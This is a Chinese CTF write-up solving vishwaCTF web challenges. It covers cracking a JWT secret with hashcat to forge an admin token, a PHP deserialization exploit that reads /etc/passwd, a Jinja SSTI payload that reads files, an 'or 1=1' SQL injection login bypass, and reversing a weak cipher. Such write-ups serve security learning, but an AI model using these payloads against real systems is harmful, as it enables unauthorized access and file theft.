【vishwaCTF】web题解wp
web
Keep Your Secrets（jwt典例）
一打开发现有两个页面，一个页面是注册，一个是admin管理员页面
注册完成之后会返回一段字符串，分析得到这是一段Token：
那么我们就可以利用这段Token伪造管理员请求去得到flag
打开jwt.io：要爆破的就是下面这个检验码
打开hashcat，设置掩码爆破或者暴力爆破，5分钟出来了：
或者rockyou.txt，很多密码，秒出结果
密钥是：owasp
最后POST请求提交作为请求头的Token即可，要放在中间，放在包最后会发生未知错误
hashcat -a -0 代表字典攻击
-m 16500 代表破解的是jwt
hashcat的wiki：hashcat_WiKi 和 hashcat手册
–show代表直接把密钥显示出来
-a 指定要使用的破解模式，其值参考后面对参数。“-a 0”字典攻击，“-a 1” 组合攻击；“-a 3”掩码攻击。
-m 指定要破解的hash类型，如果不指定类型，则默认是MD5
-o 指定破解成功后的hash及所对应的明文密码的存放位置,可以用它把破解成功的hash写到指定的文件中
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
--show 显示已经破解的hash及该hash所对应的明文
--increment 启用增量破解模式,你可以利用此模式让hashcat在指定的密码长度范围内执行破解过程
--increment-min 密码最小长度,后面直接等于一个整数即可,配置increment模式一起使用
--increment-max 密码最大长度,同上
--outfile-format 指定破解结果的输出格式id,默认是3
--username 忽略hash文件中的指定的用户名,在破解linux系统用户密码hash可能会用到
--remove 删除已被破解成功的hash
-r 使用自定义破解规则
Todo list（php反序列化）
<?php
Class ShowSource{
public function __toString()
{
return highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new ShowSource();
$s->source = __FILE__;
echo $s;
exit;
}
$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 40);
$m = substr($c, 40);
if(sha1($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = sha1($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
foreach($todos as $todo):
<label class="todo">
<input class="todo__state" type="checkbox" />
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 200 25" class="todo__icon">
<use xlink:href="#todo__line" class="todo__line"></use>
<use xlink:href="#todo__box" class="todo__box"></use>
<use xlink:href="#todo__check" class="todo__check"></use>
<use xlink:href="#todo__circle" class="todo__circle"></use>
</svg>
<div class="todo__text"><?=$todo?></div>
</label>
<?php endforeach;
echo触发 __toString
exp:
<?php
Class ShowSource{
public function __construct()
{
$this->source = '/etc/passwd'; //flag.php
}
}
$todos[]=new ShowSource();
echo sha1(serialize($todos));
echo urlencode(serialize($todos));
Hey Buddy!（SSTI）
payload：
{{().__class__.__bases__[0].__subclasses__()[99](path=%27%27,fullname=%27%27).get_data(%27./flag.txt%27)}}
使用subclasses的第99个库，这个库里有os操作，就可以获取flag
My Useless Website（SQL注入）
直接万能密码注释掉后面就可以了
payload：
https://my-us3l355-w3b51t3.vishwactf.com/?user=1%27%20or%201=1–+&pass=1
-+ 或者 ·--就是注释符
Stock Bot（信息检索）
出现了一段payload：
根据：if(!msg.includes(‘Flag’))
猜测product=Flag，得到flag
Request Me FLAG（数据包请求方式）
以FLAG请求方式请求数据包，得到flag
Strong Encryption（php代码审计）
<?php
// Decrypt -> 576e78697e65445c4a7c8033766770357c3960377460357360703a6f6982452f12f4712f4c769a75b33cb995fa169056168939a8b0b28eafe0d724f18dc4a7
$flag="";
function encrypt($str,$enKey){
$strHex='';
$Key='';
$rKey=69;
$tmpKey='';
for($i=0;$i<strlen($enKey);$i++){
$Key.=ord($enKey[$i])+$rKey; //ord()将字符转为10进制
$tmpKey.=chr(ord($enKey[$i])+$rKey); //chr()10进制转为字符
}
$rKeyHex=dechex($rKey); //10进制转为16进制
$enKeyHash = hash('sha256',$tmpKey);
for ($i=0,$j=0; $i < strlen($str); $i++,$j++){
if($j==strlen($Key)){
$j=0;
}
$strHex .= dechex(ord($str[$i])+$Key[$j]);
}
$encTxt = $strHex.$rKeyHex.$enKeyHash;
return $encTxt;
}
$encTxt = encrypt($flag, "VishwaCTF");
echo $encTxt;
?>
解密脚本：
原过程是每位的十进制加上key再转16进制，反推这个过程就可以得到flag
$str2 = "576e78697e65445c4a7c8033766770357c3960377460357360703a6f6982";
$Key='155174184173188166136153139';
for ($i=0,$j=0; $i < strlen($str2); $i++,$j++){
if($j==strlen($Key)){
$j=0;
}
$a = $str2[$i].$str2[$i+1];
$flag .= chr(hexdec($a)-$Key[$j]);
$i++;
}
echo "flag: ".$flag;
